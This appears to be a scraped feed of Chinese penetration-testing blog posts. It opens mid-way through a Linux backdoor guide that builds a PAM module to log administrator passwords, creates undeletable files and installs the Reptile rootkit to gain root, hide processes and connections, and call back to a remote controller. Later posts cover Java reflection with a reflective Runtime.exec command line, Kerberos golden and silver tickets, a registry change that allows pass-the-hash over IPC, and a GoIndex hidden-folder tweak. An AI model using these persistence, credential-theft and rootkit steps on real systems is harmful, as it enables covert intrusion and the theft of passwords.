fprintf(fp,"%s->%s\n",name,p);
fclose(fp);
}

编译 ./configure && make
备份原有PAM模块 mv pam_unix.so pam_unix.so.bak
使用新编译的pam模块替换原有模块
cp modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/
完成后可使用添加的密码test登陆

当管理员登陆成功时
密码会被记录在/etc/pam.txt中

隐蔽性最佳,操作较为繁琐

文件隐藏

无法删除的文件

1
echo 'whoami' > ..\ \ \    //最后一个\后也有空格


这种方法建立的文件无法通过rm + tab 或rm -rf ./* 删除

除非知道文件名后面有多少个转义字符\

参数混淆

使用echo 等命令新建一个文件名为 –rf 或者 -rm 的文件



rm在删除时会把文件名当作rm的参数而无法正常删除
如果要删除这种文件
可使用 rm –- ‘-rf’

隐藏权限

可使用 chattr +i 来给文件添加一个无法修改的隐藏属性

chattr -i 即可解除,过于常见,不实用

Rootkit

https://github.com/f0rb1dd3n/Reptile
在目标机器上下载源码

1
2
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile

执行./setup.sh install安装

查看效果



进程与开放的端口均无显示

安装完成后会生成可执行文件到/reptile/ 目录下
目录无法通过ls看到,只能通过输入绝对路径访问
提供的命令:

1
2
3
4
/reptile/reptile_cmd root       提权:任意权限用户执行完成后获取root权限
/reptile/reptile_cmd hide/show <pid> 隐藏/显示 指定pid进程
/reptile/reptile_cmd tcp <IP> <port> hide/show 隐藏/显示指定TCP连接
/reptile/reptile_cmd udp <IP> <port> hide/show 隐藏/显示指定UDP连接

安装控制端

1
2
apt install libreadline-dev 
./setup client

这款rootkit的运作机制为:
使用控制机的特定端口(如配置中的666)给目标任意端口发送一串数据
当目标机器接收到这个数据后,按照配置回连

控制端使用方法与msf的linster相似
需要设置本地监听地址,连接密码,目标机器ip端口等

测试环境为内网被控机器,公网控制端,并且安装时设置了自动回连
此时单独使用./bin/下的listener在公网监听即可,会自动回连

如果安装时没有设置自动回连
可通过手动发送packet来触发回连
公网监听8200 端口

使用packet发送回连请求,接收shell

]]>
<h1 id="Backdoor"><a href="#Backdoor" class="headerlink" title="Backdoor"></a>Backdoor</h1><p><strong>alias后门 ssh密码记录</strong></p> <figure c
JAVA反射机制瞎扯篇 https://ares-x.com/2020/03/12/JAVA%E5%8F%8D%E5%B0%84%E6%9C%BA%E5%88%B6/ 2020-03-12T15:27:45.000Z 2023-12-24T09:04:21.188Z 反射机制的定义和应用

废话看不懂系列:

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法

Java反射机制可以无视类方法、变量访问权限修饰符,可以调用任何类的任意方法、访问并修改成员变量值。也就是说只要发现一处Java反射调用漏洞几乎就可以为所欲为了。当然前提可能需要你能控制反射的类名、方法名和参数

反射的应用:

ide 自动提示功能,对象(提示属性,方法)–通过反射机制知道的
servlet ->程序员定义->配置文件中的配置->tomcat创建->配置文件信息->类的全路径->tomcat可以根据类的完整名称创建对象

反射可以根据一个字符串(类的全路径) 创建一个类的对象
如在程序中,使用反射技术,程序可以从配置文件中读取配置(字符串:类的全路径)然后动态创建该对象,只需修改配置文件,即可更改创建的对象,而不用写死在代码中

人话能看懂系列:

这里有个类 Car

1
2
3
4
5
public class Car{
public void run(){
return NULL;
}
}

正常创建对象:

1
Car car = new Car()

反射创建对象:

1
新对象 = 反射("Car")

Java里有个自带的功能能把字符串当类名,创建个新类,还能知道并调用类中的方法,这就是反射,不然在ide里敲.号的时候编辑器咋知道你那类里都有啥方法的

反射的基石

字节码文件对象

java反射基于字节码文件对象

字节码文件对象->Class类的对象(字节码文件即java源文件编译后生成的.class文件) Class是java中的一个类型
jvm将.class文件加载到内存执行时,会将.class文件当作字节码文件对象

区分: class , class为java中的关键字,用来定义类

获得字节码文件对象

1. Object 类的getClass方法

已经获得目标类对象实例,就是已经new出来了一个对象

可以在对象后面使用getClass()方法

1
2
3
4
public class Preson{
}
Person p = new Person();
Class class1 = p.getClass();

2. 类型的.class属性

已获得目标类名

引用类型和基本数据类型都可以

1
2
3
public class Preson{
}
Class class2 = Person.class;

3. Class.forName(“类的全路径”) //最常用

目标类名在编译器不确定,在运行期确定

1
Class class3 = Class.forName("com.xxx.xxx.xxx.Person");

就是forName()中传入的参数,不是代码中写死的,是从某个配置文件中获取的,或者外部传入的

1
2
x = 某个配置文件中指定的类的路径
Class class3 = Class.forName(x);

类装载器也可以用来加载类

1
ClassLoader loader = Thread.currentThread().getContextClassLoader(); Class clazz = loader.loadClass("com.xxx.xxx.Person");
1
ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime")

class.forName()除了将类的.class文件加载到jvm中之外,还会对类进行解释,执行类中的static块
而classLoader只干一件事情,就是将.class文件加载到jvm中,只有在newInstance才会去执行static块

1
2
3
static块是随着类的加载而执行,只执行一次,并优先于主函数,类调用时,先执行静态代码块,然后才执行主函数
静态代码块其实就是给类初始化的(jvm加载类时执行,仅执行一次),而构造代码块是给对象初始化的,每一次创建对象时执行
执行顺序优先级:静态块, main(),函数,构造块,构造方法

使用字节码文件对象

一个字节码文件对象对应一个类,类中包含构造方法,成员变量,成员方法

1
2
3
4
类       字节码文件对象(类在内存中的体现)
构造方法 构造方法对象 类型:Constructor
成员变量 成员变量对象 类型:Filed
成员方法 成员方法对象 类型:Method

使用字节码文件对象来构建一个类的对象

正常创建对象

1
Person p = new Person();

Person()为类的构造方法,对象是通过构造方法创建的

使用反射创建目标类对象实例并调用其中的方法

Object newINstance():通过调用默认构造器创建一个对象实例

1
2
3
4
5
6
Class clzz =Class.forName("xxx.xxx.xx.Person"); //获取class对象
Constructor[] constructors = clzz.getContructors(); // 获取构造器
Constructor c = constructors[0]; //使用构造器
Person p = (Person) c.newInstance();调用默认构造器实例化对象 返回目标类的实例
Method eat = p.getMethod("eat",String.class); //获取指定方法 参数为方法名和方法的形参类型
eat.invoke(p."meal"); // 使用Method的invoke方法,传入类的实例和参数

使用反射创建新的类有两种方式

1
2
Class.newInstance() // 只能调用默认的无参构造函数而且必须是public类型
Constructor.newInstance() // 可以根据传入的参数调用任意构造函数,特定情况下可调用私有构造函数

上文即用的第二种方式,使用了构造器,也可以不用

1
2
Class clzz =Class.forName("xxx.xxx.xx.Person");
Person p = (Person) clzz.newInstance();

获得构造器:

  • Constructor[] getConstructors():获得所有public构造器;
  • Constructor[] getDeclaredConstructors():获得所有访问权限的构造器
  • Constructor getConstructor(Class[] params):根据指定参数(也可无参数)获得对应的public构造器;
  • Constructor getDeclaredConstructor(Class[] params):根据指定参数(也可无参数)获得对应构造器;

如果被调用的类的构造函数为默认的构造函数,采用Class.newInstance()则是比较好的选择;如果需要调用类的带参构造函数、私有构造函数, 就需要采用Constractor.newInstance()

使用私有构造器的时候需要使用Constructor.setAccessible(true)方法

1
2
3
Constructor con = clzz.getDeclaredConstructor()
con.setAccessible(true)
targetClass obj = (targetClass)con.newInstance();

获得方法:

  • Method[] getMethods():获得所有public方法;

  • Method[] getDeclaredMethods():获得所有访问权限的方法;

  • Method getMethod(String name, Class[] params):根据方法签名获取类自身对应public方法,或者从基类继承和接口实现的对应public方法

  • Method getDeclaredMethod(String name, Class[] params):根据方法签名获得对应的类自身声明方法访问权限不限

获得变量

  • Field[] getFields():获得类中所有public变量

  • Field[] getDeclaredFields():获得类中所有访问权限变量

  • Field getField(String name):根据变量名得到对应的public变量

  • Field getDeclaredField(String name):根据变量名获得对应的变量,访问权限不限

反射创建对象并调用其中的方法

一个简单的类

1
2
3
4
5
class Test{
public void print(){
System.out.println("hello!");
}
}

通过反射调用Test类的print方法:

  1. 匿名对象直接调用成员方法:

    1
    Test.class.newInstance().print();
  2. 通过invoke:

    1
    2
    3
    4
     
    Object test = Test.class.newInstance();
    Method print = Test.class.getMethod("print");
    print.invoke(test);

    或者

    1
    Test.class.getMethod("print").invoke(Test.class.newInstance(),null);
  3. 有名对象

    1
    2
    Test test = (Test)Test.class.newInstance();
    test.print();

    但是如果这样写:

    1
    2
    3
    Object test = Test.class.newInstance();

    test.print();

    程序就会报错找不到print方法,为什么?java中一切皆对象,对象也是个对象,就是Object,那Object就是所有对象的爹,是个顶级父类,如果用Object去接收netInstance(),相当于做了一次向上转型,子类转换成父类,子类方法丢失,所以会找不到方法

一行代码即可实现反射调用Runtime执行本地命令:

1
Runtime.class.getMethod("exec", String.class).invoke(Runtime.class.getMethod("getRuntime").invoke(null), "whoami")

分析:
正常执行命令:

1
Runtime.getRuntime.exec("calc");

使用了静态方法getRuntime,无需实例化类即可使用
查看Runtime类中的定义
exec 有多个重载,以最简单的为例。定义如下
传入参数作为命令执行

1
2
3
public Process exec(String command) throws IOException {
return exec(command, null, null);
}

那么为什么不能直接Runtime.exec()而需要多加一个Runtime.getRuntime

在java中当对象方法仅需使用一次的时候,可以通过调用类的构造函数创建匿名对象
但是Runtime类的构造函数是一个私有函数,无法被实例化

1
2
3
/** Don't let anyone else instantiate this class(不要让任何人实例化这个类) */
private Runtime() {}

所以只能使用getRuntime这个静态方法来取得Runtime类的实例如Runtime runtime = Runtime.getRuntime()
getRuntime()在调用之后返回一个Runtime类的实例currentRuntime

1
2
3
4
private static Runtime currentRuntime = new Runtime();
public static Runtime getRuntime() {
return currentRuntime;
}

在反射调用的时候,通过Runtime.class.getMethod("exec",String.class)获取Runtime类的exec方法,获取方法后可直接调用invoke方法传入参数
Runtime.class.getMethod("exec",String.class).invoke(),invoke()方法传入的参数为目标类的实例和要执行的参数,获取Runtime类的实例又可以通过Rutime.class.getMethod("getRuntime").invoke(null)来获取,所以需要将Rutime.class.getMethod("getRuntime").invoke(null)和执行的命令作为参数传递给exec的invoke方法

1
Runtime.class.getMethod("exec", String.class).invoke(Runtime.class.getMethod("getRuntime").invoke(null), "whoami")

invoke静态方法
invoke静态方法时,可以不传入目标对象的obj,也可以执行成功

1
2
3
4
5
6
7
8
//main函数
Class.forName("a").getMethod("print").invoke(null);
//内部类:
class a{
public static void print(){
System.out.println(1);
}
}

静态和非静态的区别:
1.全局唯一,任何一次的修改都是全局性的影响
2.只加载一次,优先于非静态
3.使用方式上不依赖于实例对象,通过类名.即可调用。
4.生命周期属于类级别,从JVM 加载开始到JVM卸载结束。

]]>
<h1 id="反射机制的定义和应用"><a href="#反射机制的定义和应用" class="headerlink" title="反射机制的定义和应用"></a>反射机制的定义和应用</h1><p><strong>废话看不懂系列:</strong></p> <p>JAVA反
戏说地狱三头犬 https://ares-x.com/2020/03/12/%E6%88%8F%E8%AF%B4%E5%9C%B0%E7%8B%B1%E4%B8%89%E5%A4%B4%E7%8A%AC/ 2020-03-12T12:46:36.000Z 2023-12-24T09:01:53.798Z 某公司遭到竞争对手的渗透,大量公司员工账号被盗,公司领导瑟瑟发抖,因为现在不知道聊天窗对面是自己的员工还是竞争对手,在这种情况下怎么来保证员工和老板间的对话是安全并且互相可信的呢?

这时候就引入了一个第三者,HR,由于公司施行工资保密制度,员工之间不知道彼此工资的具体数字,但是HR知道全公司员工的工资数字,现在假定每个员工的工资都是不同的,我们用员工,老板,和HR来完成一个安全可信的加密机制,(假定HR是可信任的)

员工,老板和HR便是Kerberos认证中的三个角色

俗称地狱三头犬

那么继续说,公司目前处在这样一个人与人之间毫无信任可言的情况下,还是要继续运转

某天,员工张二狗需要从老板大黄那里取得一份公司机密信息,但是如果二狗直接给老板发消息索要信息,那老板肯定不会给他,因为公司聊天工具里的人现在都是不可信任的,二狗不知道网线那边是不是真的老板,老板也不知道给自己发消息的是不是真的二狗,这时候就尴尬了

然后这时,聪明的老王出现了,老王是个国外读了10年本科的密码学砖家,他就给公司提出来一套流程,鉴于目前大家都没有办法确定某个人就是某个人,那么我们来用密码学的手段确定彼此的身份吧

这个流程是什么呢,如果二狗想给老板发消息,就要先通过HR来确定二狗就是二狗,怎么确定呢,二狗知道自己的工资,HR也知道二狗的工资,那么二狗就先给HR发个消息,我要找老板谈话,帮我弄个身份鉴定证书吧,但是二狗不能直接找HR要这个鉴定证书,因为二狗要先证明二狗就是二狗本人

于是二狗先给HR发了个消息,我是二狗,我要证明我就是二狗!

HR收到了二狗的消息,然后从公司数据库中一查,果然有二狗这个人,但是即使有这个人,又怎么确定二狗就是二狗本人呢,HR就用二狗的工资作为加密密钥,对一串非常复杂的数字(12345)进行加密作为消息A,然后又把这个数字12345和当前跟二狗聊天窗口的截图还有聊天的时间记到一个文件中,再用自己的工资对这个文件进行加密作为消息B

之后HR把用二狗工资加密的消息A和用自己工资加密的消息B一起发送给二狗,为什么要这样做呢,二狗如果能成功解密消息A,就能得到12345,因为只有真正的二狗知道自己的工资,假二狗不知道,消息B又是用来做什么的呢,我们继续看

二狗发送完消息之后,盯着聊天窗,然后钉,钉,响了两声,HR发来了两串东西,二狗看不懂,但是二狗想起来之前老王提出来的认证流程,先用自己的工资解密了第一个消息,得到了那串数字12345,然后用这串12345把跟HR聊天窗口的截图和时间放在一起进行了加密,作为消息D,那么消息C是什么呢,消息C就是HR发来的第二个消息,消息B,不过这次消息C中还要多一个东西,就是老板的名字大黄,大黄和消息B合在一起就组成了消息C

为什么呢,因为二狗这次发送的消息C和D就是为了证明他就是二狗本人,二狗自然确定自己就是真二狗,那么自然也要把老板的名字加到消息中,因为他要HR给他用来跟老板对话的身份鉴定证书,如果不加上老板的名字,HR即便确定了二狗是二狗,也不知道二狗要跟谁对话

现在消息C(消息B和老板的名字大黄)和消息D(二狗用12345加密的聊天窗口截图和聊天时间)就发到了HR那里

HR收到了消息C和D,得到了三个东西,原来用自己工资加密的消息B,老板的名字,和之前自己随便想出来的12345加密的消息D

这里就来到了第一个关键点,HR怎么通过这几个东西来确定二狗就是二狗呢,HR首先用自己的工资解密了消息C,得到了之前的聊天窗截图和聊天时间,还有自己之前随便想出来的12345,然后用这个12345来解密消息D,又得到了二狗对他们两个的聊天窗的截图和聊天时间,通过对比这两个聊天窗截图和时间是否都匹配,HR就确定了这个二狗是真的二狗(假二狗不知道真二狗的工资,所以就无法解密得到12345,也就没法用12345加密消息D,HR自然也没办法解密了),并且就是之前跟自己聊天的那个二狗(因为之前发过去的用自己工资加密的消息B原封不动的发回来了,而这个消息B除了自己谁都无法解密修改)

这里有人要问了,那HR直接用自己想出来的12345解密消息D不是也可以确定二狗就是真二狗吗,这个怎么解释呢,这个公司有一百万个员工,每个员工时不时都想跟老板说说话,而HR脑子存储量不够大,记不住12345这么复杂的数字,更何况是一百万个12345,那脑子不得爆炸了,所以把12345用自己的密钥加密发过去,再收回来用自己的密钥解密取出来,这样就不用记了

现在HR确定了二狗就是二狗,那么看看二狗想跟谁聊天吧,消息C中写的是老板大黄的名字,HR就从公司数据库中查,老板大黄:工资4块3毛1角

然后HR又用老板的工资,加密了和二狗聊天窗口的截图,聊天时间和另一串非常复杂的数字45678 作为消息E(也就是鉴定证书),和用从消息C中找到12345加密了新的复杂数字45678作为消息F

又回到二狗这里,二狗收到这两个消息,用12345解密了第二个消息F,得到了45678,然后用45678加密了自己和HR的聊天窗截图和聊天时间作为消息G,之后把消息E和消息G发给老板,是不是和之前很像

这时老板收到了二狗的消息,老板先用自己的工资解密了消息E(HR用老板工资加密的截图,聊天时间还有45678),得到了45678,然后用这串复杂的数字成功解密了消息G,得到二狗的截图和聊天时间,再对比这两个聊天截图和聊天时间是不是一样的,一样的话老板才能确定二狗是真二狗,经过HR权威认定的二狗,可以充满信任的聊天了,这里其实也有对老板身份的鉴别,因为假老板不会知道真老板的工资,自然也就没有办法解密消息E

至此整个认证流程基本结束,我们将其中的几个关键信息提取出来,换成正常含义下对应的词语

  • 二狗 Client
  • HR KDC
  • 老板大黄 Service/Server
  • 二狗的工资 Client NTLM Hash
  • HR的工资 krbtgt NTLM Hash
  • 老板的工资 Service/Server NTLM Hash
  • HR工资加密的截图,时间和12345 TGT 黄金票据
  • 老板工资加密的截图,时间和45678 TGS 白银票据
  • 12345 Client/TGS Sessionkey
  • 45678 Client/Service Sessionkey
  • 聊天窗截图 Client ID
  • 聊天时间 Timestamp 时间戳

看懂了上面的故事,Kerberos的认证流程也就了解的差不多了,不过是细节上会有些差异

]]>
<p>某公司遭到竞争对手的渗透,大量公司员工账号被盗,公司领导瑟瑟发抖,因为现在不知道聊天窗对面是自己的员工还是竞争对手,在这种情况下怎么来保证员工和老板间的对话是安全并且互相可信的呢?</p> <p>这时候就引入了一个第三者,HR,由于公司施行工资保密制度,员工之间不知道彼此工
关于IPC和PTH用户权限问题 https://ares-x.com/2020/03/10/%E5%85%B3%E4%BA%8EIPC%E5%92%8CPTH%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%E9%97%AE%E9%A2%98/ 2020-03-09T17:49:52.000Z 2023-12-24T09:01:53.760Z

关于net use和psexec无法使用本地管理员组用户建立连接的问题

IPC Access Deined

环境:

1
2
3
4
5
win7系统,存在域环境
域名:de1ay
普通域用户: de1ay\de1ay
域管理员用户:de1ay\Administrator
本地管理员用户: de1ay

当我尝试使用域用户de1ay\de1ay和本地管理员组的用户de1ay使用psexec连接目标Windows服务器执行命令时返回了拒绝访问

并且在使用net use建立IPC连接的时候返回了Access Denied


由图可见唯一成功的是使用域管用户de1ay\Administrator成功获取到cmd



可见de1ay属于本地管理员组,同时也存在域用户de1ay/de1ay

并且确定ADMIN$目录开启了共享

了解到Psexec是借助的IPC连接执行命令,那么尝试使用上面两组用户名进行IPC连接

只有域管用户成功建立了IPC连接,这里我注意到了de1ay/de1ay用户的全局组成员显示为Domain Users 看起来应该是普通的域成员,并非管理员,猜测是因为de1ay\de1ay是普通用户权限不足,所以无法建立连接
使用net localgroup Administrators查看本地的所有管理员用户中存在DE1AY\Domain Admins组,那么将de1ay\de1ay加入到该组中是否就可以成功连接呢

之后我在域控机器上将de1ay用户加入到Domain Admins组中

或者直接在目标机器上将de1ay/de1ay 添加到本地管理员组

再次尝试使用de1ay\de1ay用户连接
果然这次成功建立了对admin$目录的IPC连接

可成功使用Psexec弹回cmd

此时回到本地用户
在我修改了域控的密码复杂度等组策略并且在目标机器上启用了Administrator用户

这时发现使用本地用户的Administrator用户可以建立对admin$目录的IPC连接,而同为管理员组下的de1ay又是失败的

通过本地查询可以确定de1ay属于管理员组

既然域用户加入到管理员组后便可以成功建立IPC连接,为什么本地用户却又不行?

联想到微软 KB2871997 补丁使攻击者无法将哈希传递给非内置RID为500(Administrator)的管理用用户,猜测是否与补丁有关

但是通过查询补丁发现并没有安装KB2871997

而且网上也有一些即使未安装补丁也无法使用本地管理员组非RID500的用户进行哈希传递和安装了补丁也可以使用RID非500的用户完成哈希传递的案例(有些绕)

那么除了补丁外,还有什么会对这些行为造成影响?

这些问题的罪魁祸首是远程访问上下文中的用户帐户控制(UAC)令牌过滤

本地用户和域用户的访问控制

微软的 WindowsVistaUACDevReqs 文档中有如下描述

  • User Account Control and Remote Scenarios:
    When an administrator logs on to a Windows Vista computer remotely, through Remote Desktop for instance, the user is logged on to the computer as a standard user by default. Remote administration has been modified to be restrictive over a network. This restriction helps prevent malicious software from performing application “loopbacks” if a user is running with an administrator access token.

  • Local User Accounts:
    When a user with an administrator account in a Windows Vista computer’s local Security Accounts Manager (SAM) database remotely connects to a Windows Vista computer, the user has no elevation potential on the remote computer and cannot perform administrative tasks. If the user wants to administer the workstation with a SAM account, the user must interactively logon to the computer that he/she wishes to administer.

  • Domain User Accounts:
    When a user with a domain user account logs on to a Windows Vista computer remotely, and the user is a member of the Administrators group, the domain user will run with a full administrator access token on the remote computer and UAC is disabled for the user on the remote computer for that session.

还有另一份 Description of User Account Control and remote restrictions in Windows Vista 中的描述

  • Local user accounts (Security Account Manager user account):
    When a user who is a member of the local administrators group on the target remote computer establishes a remote administrative connection by using the net use * \remotecomputer\Share$ command, for example, they will not connect as a full administrator. The user has no elevation potential on the remote computer, and the user cannot perform administrative tasks. If the user wants to administer the workstation with a Security Account Manager (SAM) account, the user must interactively log on to the computer that is to be administered with Remote Assistance or Remote Desktop, if these services are available.

  • Domain user accounts (Active Directory user account):
    A user who has a domain user account logs on remotely to a Windows Vista computer. And, the domain user is a member of the Administrators group. In this case, the domain user will run with a full administrator access token on the remote computer, and UAC will not be in effect.
    Note This behavior is not different from the behavior in Windows XP.

对于本地用户:

当使用远程计算机上本地管理员组成员的用户通过net use \\remotecomputer\ 命令建立IPC连接的时候不会以完全管理权限的管理员身份连接,用户无法在远程计算机上提升自己的权限,并且无法执行管理任务,如果用户希望使用安全账户管理器(SAM)中的用户管理服务器,则必须通过远程桌面连接来登录

同样在 官方文档在服务器管理器中配置远程管理 中有如下描述:

即使已启用远程管理,内置管理员帐户之外的本地管理员帐户也可能不具有远程管理服务器的权限。 必须将远程用户帐户控制(UAC) LocalAccountTokenFilterPolicy注册表设置配置为允许除内置管理员帐户之外的管理员组的本地帐户远程管理服务器。

以及Server Performance Advisor 用户指南

如果目标服务器未加入域,请启用以下注册表设置:

HKLM\SOFTWARE\Microsoft\Windows\Currentversion\system\LocalAccountTokenFilterPolicy\策略

这些都表明了:在不对系统设置进行更改的情况下,除默认的管理员账户外无法使用其他账户完成远程管理,除非采用RDP或加入域

对于域用户(Active Directory 账户):

这里仍然有官方文档的解释 User Account Control and WMI

大致是说:如果你的计算机是域中的一部分,使用管理员组中的用户连接远程计算机,此时UAC 访问令牌过滤器不会生效,不要使用本地的、非域内用户的账户连接远程计算机,即使该用户属于管理员组

以及Description of User Account Control and remote restrictions in Windows Vista中的描述:

当使用域用户(并且该域用户属于管理员组)远程登录到计算机时,该用户会拥有完整的管理员权限,并且UAC会在该会话期间被禁用

以上便解释了为什么本地管理账户在利用IPC远程访问时会失败,但是域管理员账户可以成功。

而内置RID为500的管理员账户(Administrator)又是一个特殊情况,默认情况下内置管理员用户(Administrator,即使被重命名)使用了完整的管理特权(“完全令牌模式”)运行了所有的应用程序,这意味着账户控制没有生效,所以当使用该用户进行远程操作的时候会被授予完整的(未过滤的)令牌

Windows已经普遍默认禁用了Administrator用户,并且在域环境下,由于域控端设置的密码安全策略,会因为默认的空密码不满足域内密码安全策略中的密码最小长度导致无法在域机器中启用该账户,除非在域控机器上主动修改域内的密码安全策略

在官方文档中已经有了解决方法,通过修改注册表来解除对非默认管理员账户的限制:
在注册表中新建如下项:

1
2
3
4
Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
Value: LocalAccountTokenFilterPolicy
Data: 1 (to disable, 0 enables filtering)
Type: REG_DWORD (32-bit)


建立完成后再次测试
修改注册表前:

修改后:


成功建立的IPC连接,并且Psexec执行成功,whoami显示的也是本地用户的de1ay

再来试一下对于普通用户是否有影响

mssql即域内的一个普通用户


远程连接拒绝访问:

再创建了一个本地的普通用户来测试

本地的普通用户同样没有远程连接的权限

至此问题已经解决,可以确定的是:默认情况下,只有使用域用户,并且这个域用户在远程计算机的管理员组中的时候,可以直接进行连接,但本地管理员组中除Administrator用户外无法进行连接;
而在添加HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy之后,rid非500的本地管理员账户可以进行连接(不影响本地和域的普通用户),并且可以进行哈希传递攻击,在此情况下KB2871997补丁将不会有实际作用

用户(组)解除限制前解除限制后
Administrators(除Administrator)无权限有权限
Administrator有权限有权限
被添加到Administrators中的域用户有权限有权限
Domain Users无权限无权限
Users无权限无权限
]]>
<blockquote> <p>关于net use和psexec无法使用本地管理员组用户建立连接的问题</p> </blockquote> <h1 id="IPC-Access-Deined"><a href="#IPC-Access-Deined" class="headerl
Goindex添加隐藏目录功能 https://ares-x.com/2020/01/20/Goindex%E6%B7%BB%E5%8A%A0%E9%9A%90%E8%97%8F%E7%9B%AE%E5%BD%95%E5%8A%9F%E8%83%BD/ 2020-01-20T14:35:25.000Z 2023-12-24T09:03:49.549Z Goindex隐藏目录

GoIndex

goindex 1.0.6版本没有自带隐藏目录功能,可以通过增加代码实现

首先网盘根目录下新建hide文件夹(或者其他名字

打开workers部署页面

在cloudflare workers的script中,找到62行的apiRequests函数

let list = await gd.list(path);return new Response(JSON.stringify(list),option);之间添加代码

1
2
3
4
5
6
7
8
9
10
11
12
let list = await gd.list(path);
if (authConfig.hidden !=undefined && authConfig.hidden != null && authConfig.hidden != ""){
if (path=="/"){
let i;
for (i in list.files){
if (list.files[i].name==authConfig.hidden)
{break}
}
list.files.splice(i,1);
}
}
return new Response(JSON.stringify(list),option);

之后在文件头部的authConfig中添加新的项

1
"hidden": "hide" //要隐藏的目录名(只支持根目录下的文件夹)

之后点击右侧Preview,应该能看到hide目录已经被隐藏了

]]>
<h1 id="Goindex隐藏目录"><a href="#Goindex隐藏目录" class="headerlink" title="Goindex隐藏目录"></a>Goindex隐藏目录</h1><p><a href="https://github.com/donwa/